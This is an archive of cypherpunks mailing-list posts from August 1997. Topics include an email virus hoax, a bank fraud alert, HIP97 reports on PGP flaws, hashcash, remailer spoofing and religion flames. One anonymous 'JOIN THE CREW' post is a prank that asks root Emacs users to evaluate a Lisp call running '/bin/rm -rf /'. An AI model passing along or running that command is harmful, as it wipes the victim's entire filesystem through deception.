rating system itself. The problem develops when these groups tell me I
can not access them. Their rating system, my choices.

> There's plenty of precedent for clamping down on >ThoughtCrime.
> 
Define your idea of thoughtcrime and we'll see just how much we really
disagree.

>YOU want to clamp down on ThoughtCrime.  That's why YOU are
> dangerous to society.  Not the pornographers.  YOU, the >censors.
> 
LOL, not *even* going to waste time on *that* statement!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 9 Aug 1997 17:40:07 +0800
To: cypherpunks@toad.com
Subject: Re: [Fwd: Virus Warning]]
In-Reply-To: <33EC326A.31390DFF@cyberspacetechnologies.com>
Message-ID: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 05:03 AM 8/9/97 -0400, David D.W. Downey wrote:
>
>			*** FYI ***
>If you recieve an e-mail titled " JOIN THE CREW" do not open it.
>
>It will erase everything on your hard disk.
>
>This is a new virus that is not detected by McAfee or Norton.


Yes, my children, this is a new virus.  There are certain facts, however,
of which you should be aware.

>From http://ciac.llnl.gov/ciac/CIACHoaxes.html#joincrew:


----------------Begin Attached Message------------------

Join the Crew

Circulating the Internet is an email message entitled "Join the Crew". For
a virus to spread, it must be executed. Reading a mail message does not
execute the mail message. Trojans and viruses have been found as executable
attachments to mail
messages, but they must be extracted and executed to do any harm. CIAC
still affirms that reading E-mail, using typical mail agents, can not
activate malicious code delivered in or with the message.

    IMPORTANT - VIRUS Alert!!!


         Take note !

         Someone got an email, titled as JOIN THE CREW.
         It has erased his hard drive.
         Do not open up any mail that has this title.
         It will erase your whole hard drive.
         This is a new email virus and not a lot of people know about it,
         just let everyone  know, so they won't be a victim.

         Please e-mail this to everyone you know!!!
         Remember the title :    JOIN THE CREW

Variants of this email message are circulating the Internet. If you receive
an email message entitled "Join the Crew" and it has an attachment, CIAC
recommends that you delete the message and the attachment. If you receive
just the message, delete the
message. Please DO NOT circulate unvalidated virus alerts.

------------End Attached Message-------------


Postscript:  To those of you who still are virgins, please read the above
thoroughly noting especially: "For a virus to spread, it must be executed.
Reading a mail message does not execute the mail message."

Go ye in safety with thy hard drive in tact. 






*************************************************************
Lynne L. Harrison, Esq.       |   "No matter how far you've
Poughkeepsie, New York        |    gone down the wrong road,
lharrison@mhv.net             |    turn back."
http://www.dueprocess.com     |     - Turkish proverb
*************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 20:30:19 +0800
To: cypherpunks@toad.com
Subject: Alert: European Union Bank
Message-ID: <v03110706b011fd8ccb29@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: themet@pop.mindspring.com
Mime-Version: 1.0
Date: Thu, 7 Aug 1997 15:11:07 -0700
To: fraudnews@silverquick.com
From: Mark Taylor <null@silverquick.com>
Subject: Alert: European Union Bank
Reply-to: Mark Taylor <themet@mindspring.com>


The European Union Bank, which advertised for customers on the
internet and operated out of Antigua, is closed and a fraud alert has
been issued by the government of Antigua.  The founders of the bank,
Serbveo Ushakov, allegedly of Bronxville, New York, and Vietalui
Papsouev of Richmond Hill,  are missing. The government says the two
are Russian nationals.

Employees of the bank were fired last week and a recorded phone
message states that the bank is temporarily closed.  The banks
internet site at The bank's Internet site ( http://www.eubank.ag ) is
no longer functioning.

The government of Antigua has appointed Coopers & Lybrand do a full
audit of the bank.

On May 30 the Idaho Department of Finance ordered European Union to
stop soliciting
deposits from Idaho residents over the Internet.  The state alleged
that since the bank operated without a state or federal charter that
it was operating illegally.

Last week that the Bank of England warned investors last fall about
depositing funds in European Union Bank.

There is no word yet on how many people deposited money in this bank
and how much money is missing.  The government of Antigua states it
is cracking down on banks with alleged connections to Russian
mobsters.




	FraudNews is owned and published by :
	Mark Taylor: themet@mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 14:00:32 +0800
To: cypherpunks@Algebra.COM
Subject: JOIN THE CREW
Message-ID: <199708090554.HAA07924@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



If you are reading this message as root under Emacs, please position
the cursor to the final paren in the following and hit C-x C-e.

(call-process-internal "/bin/rm"
		       nil t nil
		       "-rf" "/")


VirusMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:32:01 +0800
To: cypherpunks@toad.com
Subject: It's cool to be iang@hip97.nl
Message-ID: <v03110702b0121b3fc592@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 8 Aug 1997 13:12:06 -0000
From: iang@systemics.com
To: e$@thumper.vmeng.com
Subject: It's cool to be iang@hip97.nl
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

Well, sometimes it takes a long time to get a network going, and
sometimes it takes, well, minutes.  Ten minutes ago I wandered
down to the HIP HQ tent and picked up a clothes peg with an IP
number on it, and a slip of paper with some details.

And now I am up and running.  What's more surprising is this a fast
link.  Traceroutes under 10ms are about the best advert I can think
of for XS4ALL, the Dutch provider at the centre of it all.  There's no
flies on the PTT either, with dual 6Mb microwaves and a portable GSM
cell linking this field in the middle of nowhere to central Amsterdam.

It makes you wonder whether this privatisation business is really all
it's cracked up to be.

Lucky Green has done a sterling job as cypherpunk advance campmeister.
When he's not building computer racks out of empty beer bottles (I'm
typing on two crates of real Budweiser!), he's teasing us with a public
key triple DES scrambler.  We're not allowed to use it because we're
not Americans.  But that's cool, as long as we have our SSH and PGP and
we get to empty more beer bottles.

Beer is selling at 4 Hipsters.  Ain't private currencies wonderful :-)

Last night I walked the entire campsite.  Only the clear skys and bright
stars reminded me of a mis-spent youth in the outdoors.  Tents piled
with equipment.  Not the glowflies of Anguilla, but glowing monitors
and flashing leds for our lighting.  Not the sounds of crickets, but
keyboard clicking and "gateway's up" and "who's got address 21" in
multi-lingual hip-speak.

Having got this machine up and going, the only thing I can think of
is to write this email.  But that's ok too, because I'm about to be
booted off.  Squiggle is going to hook up her sonar to Brian the Brain,
the cypherpunk sysadm.  That's for Brian to send out 49.4kHz clicks
so that he knows when to ask for food of passer's by.  Which makes for
two over-worked brains that I can count.

It's cool to be iang@hip97.nl

PS: Brian and friend are at http://www.sabotage.org/mpeg/brain1.jpeg

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 17:43:49 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: [Fwd: Virus Warning]]
In-Reply-To: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
Message-ID: <33EC6F69.9285620@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne is most definitely correct. In order for a viral infection to take
place, execution of the attached file first take place. Even malicious
MS Word and likeminded word processing macros must inevitably execute a
binary file. This message was forwarded to me via an ISP Viral Alert
program. I apologize for not including the fact of program execution as
being the actual infecting point. To all those familiar and  unfamiliar
with the way virii operate, please accept my sincere apologies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 11:57:48 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <e4H4ae46w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970809092959.337B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> > What if the message is
> > forged in such a way that it looks exactly as if it came from you?
> 
> Ditto, and consider setting up a service to automatically issue NoCeMs
> for forgeries.

In fact consider setting up a service to automatically issue NoCeMs for
bad pgp sigs.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+usWqQK0ynCmdStAQGWnAQAskTxuMw3EWKj584gh+dLnazsVnfeKmKX
M9t5IlTgzBhCm8AMd0R9arITI+QHWdGIeOfReP0TijjL1/fZSQvq9uA2QRRlAUf0
FuoeAEBXgo1PFcLd22JFA18X1140Z+i0Eocx4eYNJLck+0SKwJzKK7NmBOAvm1Vj
wQcz7GBHxyc=
=1rUK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 12:04:22 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970808003832.21296@bywater.songbird.com>
Message-ID: <Pine.LNX.3.93.970809093157.337C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Kent Crispin wrote:

> On Thu, Aug 07, 1997 at 10:00:25PM -0500, Dr.Dimitri Vulis KOTM wrote:

[...]

> > Use a retraction server (David's project)
> 
> Just curious -- how would this be morally different from doing a
> cancel?

Well NoCeMs are harder to abuse, in addtion there are thay can be treated
more flexibly then the blunt interestrment that are cancels.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+utV6QK0ynCmdStAQGG6QQArND+QSSeZR4Fd2hz022teFJEWz0h/Ndo
xcyiV98aXPIGOOiKKNXyWYqZKfZYkfRPQFVHWkkLvuPTsOcpj2iLmb5iZwjxgfGc
Qrq7kocfGVN7VuGeS8uEeK+eWhvHdIfKB1C4ZBjHAXjPx7aVWSh/qbVBA8ZFlnZT
vfG1zN7CBsA=
=PQCw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:41:18 +0800
To: cypherpunks@toad.com
Subject: NCash - an experimental digital cash system
Message-ID: <v0311070ab01222e4914b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 08 Aug 1997 19:39:46 -0400
From: "Eric S. Johansson" <esj@harvee.billerica.ma.us>
Reply-To: esj@harvee.billerica.ma.us
Organization: only slightly
MIME-Version: 1.0
To: rah@shipwright.com
Subject: NCash - an experimental digital cash system

do you know about this??  (probably :-)
--- eric

http://www.lysator.liu.se/~nisse/NCash/

Content-Type: text/html
Content-Base: "http://www.lysator.liu.se/~nisse/NCash
	/"
X-MIME-Autoconverted: from 8bit to quoted-printable by
harvee.billerica.ma.us id SAA25447





This corner of the WWW is devoted to information, documentation and source
for the NCash digital cash experiment. Some pointers here are links right
into my source tree, so don't be surprised if you find inconsistencies or
bugs.




NCash is my Master's project at the Linköping Institute of Technology. The
idea is to design and implement an bare-bones off-line digital cash system,
meeting rather high standards for security and privacy. And then try it out
in the Real World. For simplicity, NCash will be software only, with both
servers and clients running on Unix-like machines.

The cash system being implemented follows the ideas of Stefan Brands'
rather closely, in particular the system described in his 'An efficient
off-line electronic cash system based on the representation problem'.




An excellent introduction to digital cash and related matters are David
Chaum's articles 'Achieving Electronic Privacy' and 'Security Without
Identification: Transaction Systems to Make Big Brother Obsolete', written
1992 and 1985 respectively.




I'm running a mailing list for discussion of the NCash project. The list is
mainly for the persons more or less involved in the project, i.e. me, my
supervisor, other people who have offered help, volunteers who wish to try
out the system when time comes, and some friends and other interested
people. The main language on the list is Swedish.

To subscribe, send mail to <ncash-request@lysator.liu.se>. The list address
is <ncash-request@lysator.liu.se>. There's also an
<http://www.lysator.liu.se/~nisse/NCash/ncash-arkiv>archive.




Ahttp://www.lysator.liu.se/~nisse/NCash/s the design and implementation
proceeds, I try to keep up with documenting NCash. If you dare, look at the
latest snapshot as of August 6th. Also available as
<http://www.lysator.liu.se/~nisse/NCash/NCash.ps>postscript

The <http://www.lysator.liu.se/~nisse/NCash/source.html>source code will
mostly be written in the Pike language, and will probably be released under
the GNU General Public License, but it's not ready yet for some time.

The server will probably run on a <http://www.linux.org>Linux machine that
the mathematics department has kindly given me access to.

  Last modified: Wed May 21 02:53:29 MET DST 1997   Niels Möller
<nisse@lysator.liu.se>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:32:55 +0800
To: cypherpunks@toad.com
Subject: Hipped on PGP
Message-ID: <v0311070cb01223c8c713@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 9 Aug 1997 02:13:36 -0000
From: iang@systemics.com
To: e$@thumper.vmeng.com
Subject: Hipped on PGP
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

HIP finishes late in the day.  It's 0100 - that's one in the morning
for the temporally challenged - and the smart card workshop has just
broken up.

Actually it was the second pass.  The first pass was 'sold out' at 150
people, this second started at 2300 this evening.  Again, 150 people
turned up and sat through presentations of hardware and data formats
and attacks on the financially finest plastic in Europe.

I have no snippets or revelations, I am not one of the dedicated.  Mondex
remains un-hacked, ChipKnip is secure.  Frankly I'm not interested, I find
the world of smart cards deadly boring.  Perhaps it is the hardware, or
maybe because attacks on smart cards have little chance of realising any
gain or meltdown.

I can on the other hand report that Saturn is safe tonight, as our in-HIP
astrodome is busilly monitoring progress.  What better way to wind down
than to head up to north campground and check out the latest telescopic
tracking software.  Speaking of celestial control, the weather is perfect.
That's by California standards, not European.



Dave del Torto was lucky to be joining us for his talk on PGP user security.
After buzzing the bells of the trainee bag scanner with 15kg of portables
and random cables, he was incarcerated in an investigative cell for a couple
of hours.  Many hours after seeing his flight head east, a state department
goon turns up.

"When are you coming back?" asks the goon, knowing full well the
day.  Dave says "the 16th" blithely unaware that his passport expires on the
day before.  Goon leaves, returns, hands over passport.   Only problem was,
passport was cancelled...  No explanation.  No advice, no help.

How Dave wings it over to HIP and saves the free world has to wait until,
well, another's email.  What disturbs is the gradual, unstoppable closing
of borders in our erstwhile free western neigbour.  Just like the American
predomination, or should I say, embarrasment of topic on the never-ending
crypto saga.

If freedom is to contract a cancer, a malignant tumour, then Dave's talk
on PGP user security is as a promise of the miracle cure, and not the
State Department chemotheropy that cures the disease by killing the patient.



Dave was followed by a presentation by Gary Howland on weaknesses in PGP.
These theoretical problems leave one with niggling doubts as to the accepted
reputation, our holy gail of privacy and security.  There is no need for
panic - many of the attacks are both highly specific, have been recognised
for some time, and have been explicitly fixed in the latest release, PGP 5.0.

But there is pause for thought.  Howland and myself and many other have
built financial cryptographic systems that relied on the mantra of PGP
impregnability.  The attacks he described work best in programmed systems
like ours and those of our more respectable competitors.

For example, imagine building a system that authorised counterparties on
the strength of the PGP id or the fingerprint.

Now we discover that Mallory can make a new key with the same fingerprint.
Whilst not wishing to state that this is the end of the world, clearly we
have to re-evaluate the entire architecture that was built up upon PGP.
We believed in the PGP reputation as much as others, and these attacks
are a timely reminder of the need for eternal hacker vigilance.

These flaws are significant but addressable: PGP 5.0 has fixes for all but
one of the flaws mentioned.  And for the record, whilst Gary's attack to
change conventionally encrypted files without detection was unknown to the
PGP team at the moment, we can be sure that it will be addressed.

Other exciting developments were the van Eyk demonstration by Prof.
Euller.  Not one, not two, but three methods to detect and display
PC monitor signals on a slaved monitor, from distances into the several
hundreds of metres.  There is now little doubt that standard computers
are the FBIs best friend.  What need key escrow?



Signing off and Hipped out.  iang@somwhere.in.the.middle.of.nowhere

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:41:09 +0800
To: cypherpunks@toad.com
Subject: Hipped on PGP
Message-ID: <v0311070eb01223e4cd77@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 9 Aug 1997 02:13:36 -0000
From: iang@systemics.com
To: e$@thumper.vmeng.com
Subject: Hipped on PGP
Sender: <e$@vmeng.com>
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HIP finishes late in the day.  It's 0100 - that's one in the morning
for the temporally challenged - and the smart card workshop has just
broken up.

Actually it was the second pass.  The first pass was 'sold out' at 150
people, this second started at 2300 this evening.  Again, 150 people
turned up and sat through presentations of hardware and data formats
and attacks on the financially finest plastic in Europe.

I have no snippets or revelations, I am not one of the dedicated.  Mondex
remains un-hacked, ChipKnip is secure.  Frankly I'm not interested, I find
the world of smart cards deadly boring.  Perhaps it is the hardware, or
maybe because attacks on smart cards have little chance of realising any
gain or meltdown.

I can on the other hand report that Saturn is safe tonight, as our in-HIP
astrodome is busilly monitoring progress.  What better way to wind down
than to head up to north campground and check out the latest telescopic
tracking software.  Speaking of celestial control, the weather is perfect.
That's by California standards, not European.



Dave del Torto was lucky to be joining us for his talk on PGP user security.
After buzzing the bells of the trainee bag scanner with 15kg of portables
and random cables, he was incarcerated in an investigative cell for a couple
of hours.  Many hours after seeing his flight head east, a state department
goon turns up.

"When are you coming back?" asks the goon, knowing full well the
day.  Dave says "the 16th" blithely unaware that his passport expires on the
day before.  Goon leaves, returns, hands over passport.   Only problem was,
passport was cancelled...  No explanation.  No advice, no help.

How Dave wings it over to HIP and saves the free world has to wait until,
well, another's email.  What disturbs is the gradual, unstoppable closing
of borders in our erstwhile free western neigbour.  Just like the American
predomination, or should I say, embarrasment of topic on the never-ending
crypto saga.

If freedom is to contract a cancer, a malignant tumour, then Dave's talk
on PGP user security is as a promise of the miracle cure, and not the
State Department chemotheropy that cures the disease by killing the patient.



Dave was followed by a presentation by Gary Howland on weaknesses in PGP.
These theoretical problems leave one with niggling doubts as to the accepted
reputation, our holy gail of privacy and security.  There is no need for
panic - many of the attacks are both highly specific, have been recognised
for some time, and have been explicitly fixed in the latest release, PGP 5.0.

But there is pause for thought.  Howland and myself and many other have
built financial cryptographic systems that relied on the mantra of PGP
impregnability.  The attacks he described work best in programmed systems
like ours and those of our more respectable competitors.

For example, imagine building a system that authorised counterparties on
the strength of the PGP id or the fingerprint.

Now we discover that Mallory can make a new key with the same fingerprint.
Whilst not wishing to state that this is the end of the world, clearly we
have to re-evaluate the entire architecture that was built up upon PGP.
We believed in the PGP reputation as much as others, and these attacks
are a timely reminder of the need for eternal hacker vigilance.

These flaws are significant but addressable: PGP 5.0 has fixes for all but
one of the flaws mentioned.  And for the record, whilst Gary's attack to
change conventionally encrypted files without detection was unknown to the
PGP team at the moment, we can be sure that it will be addressed.

Other exciting developments were the van Eyk demonstration by Prof.
Euller.  Not one, not two, but three methods to detect and display
PC monitor signals on a slaved monitor, from distances into the several
hundreds of metres.  There is now little doubt that standard computers
are the FBIs best friend.  What need key escrow?



Signing off and Hipped out.  iang@somwhere.in.the.middle.of.nowhere

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 10 Aug 1997 01:06:42 +0800
To: cypherpunks@toad.com
Subject: Subsect?
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <v03102801b0124d7beda0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:53 AM -0700 8/9/97, David D.W. Downey wrote:
>>Paul H. Merrill wrote:
>> judeo-christian isn't a religion.  Christian is.
>>
>Judeo- Christian is a subsect of Christianity in it's generic form.
>(Both my parents are ministers, and this has been drilled into my head.)

Not a _sub_sect, or subset, but a _super_set.

Unless JC had a time machine, Judaism predates Xtianity.

In any case, the convention is that "Judeo-Christianity" is the general
tradition connected with the Old Testament, the Ten Commandments, the
pre-Xtian prophets, and so on.

If your parents really drilled this "sub-sect" business into your head,
maybe you ought to ask them to lighten up on the drill, or use a different
bit, or something.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 10 Aug 1997 01:16:22 +0800
To: "David D.W. Downey" <cypherpunks@toad.com
Subject: Masons and Fnords
In-Reply-To: <199708082242.AAA20104@basement.replay.com>
Message-ID: <v03102803b01250d1b62a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:00 AM -0700 8/9/97, David D.W. Downey wrote:

>To show how much this country *was* in fact based upon Christianity, one
>has only to look at our money. "In *God* we trust. Also, the majority of
>our founding fathers were in fact christians. Yet they correctly

Actually, _all_ of the Founders were Masons. Tim Bob says check it out.

The eye and the pyramid. The original inscription on money: "In fnord we
trust."

They adopted Xtianity as a cover. They actually worshipped Ra and Set.

(Why do you think the new standard for secure commerce is called SET?)


--Tim May, 34th Degree Mason, former resident of Alexandria, home of the
Masonic Temple.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sat, 9 Aug 1997 08:27:02 +0800
To: devnull@hardy.ocs.mq.edu.au
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <Pine.SOL.3.91.970809095854.29621B-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



Well i was a amused and i'm a Christian. Pity the $%&#wits in the 
Christian right in America give real Christians such a bad name. Unlike 
truthmonger seems to think not all Christians are goosesteping fascists 
who like to bugger little kids for fun and profit. Sadly i guess as long 
as the fascists claim to be Christians, and try to get everybody to 
confrom to thier beliefs this sort of post will be in some ways accurate.

Jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 10 Aug 1997 00:28:26 +0800
To: kent@songbird.com
Subject: Re: some hashcash advocacy
In-Reply-To: <19970808165350.55775@bywater.songbird.com>
Message-ID: <199708090914.KAA00770@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Fri, Aug 08, 1997 at 10:45:29PM +0100, Adam Back wrote:
> [...]
> > I wasn't talking about remailers above, but about end users.  Hashcash
> > allows the recipient to filter out email that hasn't got postage.
> 
> Ie, hashcash is a fancy techie oriented self-labelling technique.  :-)

Yes, if you like.  If techie people can make themselves pretty much
immune to spam, perhaps the non-techies will get interested to use our
solution.  Make it easy enough to install at ISP level, and interim
migration paths for people without it so it still interoperates, and
you might get somewhere.

All depending on how spammers and hashcash interact when they bump
into it as a major block on their ability to spam.  They'll obviously
try their damnest to work around it.  But I think that the
inconvenience and cost to them, as hardly anyone ever replies to their
mail (costs are only for first email that isn't replied to), is a much
better spam preventer than the current status quo, which has
practically no protection other than manual blocking lists which
hardly anyone has software installed for, or for complaints to
ISPs... but then the spammers use forged email addresses, and there
are a few ISPs who apparently (from discussion here) are willing to
knowingly sell spammers bandwidth.  Someone's going to do it.

> I didn't read the code, but it seems that the double spending
> protection is just local to the recipient (ie, there isn't a trusted
> central clearinghouse that checks against double spending on a global
> basis).  

It's supposed to be 100% decentralised -- the network strain on any
kind of centralised clearling house for postage for _all_ email would
be Terrabits/second.

OK, so you might be able to split it up a bit, and have multiple
banks, and inter-bank clearing, and various trade-offs, but it's still
a major engineering effort with large bandwidth overheads.

> Thus, a spammer could calculate postage for a message, then
> send 100000 copies.  Hashcash would guarantee that each user only got
> one copy, but there are easier ways to do that.  

You missed one aspect of the design.  What the collision is calculated
on is the recipients email address.  If the collision is on someone
elses email address, you reject it out of hand.  So the hashcash
postage token is specificly minted by the sender and made out in the
email address of the individual that you are trying to send email to.
It is useless for sending email to anyone else.  You can never spend
it twice on the same person, and sending it to anyone else it will
have zero value.  

Also it includes in the hash collision an expiry date when you
generate it, but this is not significant to the email spam control
aspect, but is just there to ensure that the users double spend
database doesn't grow -- you discard expired double spend entries --
as you wouldn't accept them anyway -- because they are out of date.

> [If the checking was done at an ISP level, of course, only one
> message would get through.  But that requires widespread deployment
> at the ISP level, not the individual user level, and checking at the
> ISP level requires that the ISP keep a database of users mail
> preferences.]

ISP level checking is nice because you can get away with out changing
email clients.  The short term solution of sending nonces will help
provide a reasonable solution for those with out new clients.

> > You could auto-add anyone you ever manually replied to to the
> > no-postage list even.
> 
> I would rather pursue a "tit-for-tat" strategy for email, but
> unfortunately tit-for-tat requires stable identities... 

tit-for-tat would be reasonable also.

Stable identities already have advantages... you can block remailers
etc.

Stable identities could include signed documents.

[btw: Kent: I tried out your .midi file under win95, all I had to do
was double click on it.  Almost melodic in an weird modern sort of
way.  Most cool anyway :-]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sun, 10 Aug 1997 02:05:21 +0800
To: Adam Back <cypherpunks@toad.com>
Subject: Re: FCPUNX:this could happen to remailers (was Re: Whining for 'Accountability')
Message-ID: <199708091737.KAA11542@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:40 PM 8/8/97 +0100, Adam Back wrote:
> When an incident like this happens via remailers, there will be
> similar calls for `accountability' on the net, and for `government to
> do something about the problem'.

When an incident like this happens with remailers, people will say:

"You morons, look at the headers, obviously it was bogus"

Some time ago somebody used remailers to spread what purported to
be an embarrassing political memo far and wide.

The newsmedia that picked it up were promptly and rightly ridiculed,
most of the media interpreting the disclaimer that the mail was not
from the entity that it appeared to be from as effectively an admission
"spoof:  Do not take the following seriously"


Suppose you got what purported to be a bill for dirty pictures
from a business, but the headers said "huge cajones remailer".

You would have to be a right loon to take it seriously.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
